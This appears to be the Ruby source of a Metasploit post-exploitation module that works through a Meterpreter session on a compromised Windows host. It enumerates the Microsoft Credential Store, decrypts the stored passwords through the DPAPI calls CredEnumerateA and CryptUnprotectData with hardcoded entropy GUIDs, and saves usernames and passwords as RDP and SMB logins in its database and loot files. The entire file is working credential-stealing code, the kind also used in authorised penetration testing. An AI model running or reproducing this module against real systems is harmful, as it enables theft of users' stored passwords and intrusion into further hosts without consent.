modules/post/windows/gather/credentials/enum_cred_store.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Credential Store Enumeration and Decryption Module',
'Description' => %q{
This module will enumerate the Microsoft Credential Store and decrypt the
credentials. This module can only access credentials created by the user the
process is running as. It cannot decrypt Domain Network Passwords, but will
display the username and location.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_net_resolve_host
stdapi_railgun_api
stdapi_sys_process_attach
stdapi_sys_process_get_processes
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]
}
}
)
)
end
#############################
# RAILGUN HELPER FUNCTIONS
############################
def is_86
if @is_86_check.nil?
pid = session.sys.process.open.pid
@is_86_check = session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
end
@is_86_check
end
def pack_add(data)
if is_86
addr = [data].pack('V')
else
addr = [data].pack('Q<')
end
return addr
end
def mem_write(data, length)
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(length)
process.memory.write(mem, data)
return mem
end
def read_str(address, len, type)
begin
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
raw = process.memory.read(address, len)
if type == 0 # unicode
str_data = raw.gsub("\x00", '')
elsif type == 1 # null terminated
str_data = raw.unpack('Z*')[0]
elsif type == 2 # raw data
str_data = raw
end
rescue StandardError
str_data = nil
end
return str_data || 'Error Decrypting'
end
def decrypt_blob(daddr, dlen, type)
# type 0 = passport cred, type 1 = wininet cred
# set up entropy
c32 = session.railgun.crypt32
guid = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0' if type == 0
guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7' if type == 1
ent_sz = 74
salt = []
guid.each_byte do |c|
salt << c * 4
end
ent = salt.pack('s*')
# write entropy to memory
mem = mem_write(ent, 1024)
# prep vars and call function
addr = pack_add(daddr)
len = pack_add(dlen)
eaddr = pack_add(mem)
elen = pack_add(ent_sz)
if is_86
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
len, add = ret['pDataOut'].unpack('V2')
else
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
len, add = ret['pDataOut'].unpack('Q<2')
end
# get data, and return it
return '' unless ret['return']
return read_str(add, len, 0)
end
def gethost(hostorip)
# check for valid ip and return if it is
return hostorip if Rex::Socket.dotted_ip?(hostorip)
## get IP for host
vprint_status("Looking up IP for #{hostorip}")
result = client.net.resolve.resolve_host(hostorip)
return result[:ip] if result[:ip]
return nil if result[:ip].nil? || result[:ip].empty?
end
def report_db(cred)
ip_add = nil
host = ''
port = 0
begin
if cred['targetname'].include? 'TERMSRV'
host = cred['targetname'].gsub('TERMSRV/', '')
port = 3389
service = 'rdp'
elsif cred['type'] == 2
host = cred['targetname']
port = 445
service = 'smb'
else
return false
end
ip_add = gethost(host)
if ip_add.nil?
return
else
service_data = {
address: ip_add,
port: port,
protocol: 'tcp',
service_name: service,
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: cred['username'],
private_data: cred['password'],
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
print_status("Credentials for #{ip_add} added to db")
end
rescue ::Exception => e
print_error("Error adding credential to database for #{cred['targetname']}")
print_error(e.to_s)
end
end
def get_creds
credentials = []
# call credenumerate to get the ptr needed
adv32 = session.railgun.advapi32
begin
ret = adv32.CredEnumerateA(nil, 0, 4, 4)
rescue Rex::Post::Meterpreter::RequestError => e
print_error('This module requires WinXP or higher')
print_error("CredEnumerateA() failed: #{e.class} #{e}")
ret = nil
end
if ret.nil?
count = 0
arr_len = 0
else
p_to_arr = ret['Credentials'].unpack('V')
if is_86
count = ret['Count']
arr_len = count * 4
else
count = ret['Count'] & 0x00000000ffffffff
arr_len = count * 8
end
end
# tell user what's going on
print_status("#{count} credentials found in the Credential Store")
return credentials unless arr_len > 0
if count > 0
print_status('Decrypting each set of credentials, this may take a minute...')
# read array of addresses as pointers to each structure
raw = read_str(p_to_arr[0], arr_len, 2)
pcred_array = raw.unpack('V*') if is_86
pcred_array = raw.unpack('Q<*') unless is_86
# loop through the addresses and read each credential structure
pcred_array.each do |pcred|
cred = {}
if is_86
raw = read_str(pcred, 52, 2)
else
raw = read_str(pcred, 80, 2)
end
cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86
cred['flags'] = cred_struct[0]
cred['type'] = cred_struct[1]
cred['targetname'] = read_str(cred_struct[2], 512, 1)
cred['comment'] = read_str(cred_struct[3], 256, 1)
cred['lastdt'] = cred_struct[4]
cred['persist'] = cred_struct[7]
cred['attribcnt'] = cred_struct[8]
cred['pattrib'] = cred_struct[9]
cred['targetalias'] = read_str(cred_struct[10], 256, 1)
cred['username'] = read_str(cred_struct[11], 513, 1)
if cred['targetname'].include?('TERMSRV')
cred['password'] = read_str(cred_struct[6], cred_struct[5], 0)
elsif cred['type'] == 1
decrypted = decrypt_blob(cred_struct[6], cred_struct[5], 1)
cred['username'] = decrypted.split(':')[0] || 'No Data'
cred['password'] = decrypted.split(':')[1] || 'No Data'
elsif cred['type'] == 4
cred['password'] = decrypt_blob(cred_struct[6], cred_struct[5], 0)
else
cred['password'] = 'unsupported type'
end
# only add to array if there is a target name
unless (cred['targetname'] == 'Error Decrypting') || (cred['password'] == 'unsupported type')
print_status("Credential sucessfully decrypted for: #{cred['targetname']}")
credentials << cred
end
end
else
print_status('No Credential are available for decryption')
end
return credentials
end
def run
creds = get_creds
# store all data to loot if data returned
if !creds.empty?
creds.each do |cred|
credstr = "\t Type: "
credstr << cred['type'].to_s
credstr << ' User: '
credstr << cred['username']
credstr << ' Password: '
credstr << cred['password']
print_good(cred['targetname'])
print_line(credstr)
# store specific creds to db
report_db(cred)
print_line('')
end
print_status('Writing all data to loot...')
path = store_loot(
'credstore.user.creds',
'text/plain',
session,
creds,
'credstore_user_creds.txt',
'Microsoft Credential Store Contents'
)
print_good("Data saved in: #{path}")
end
end
end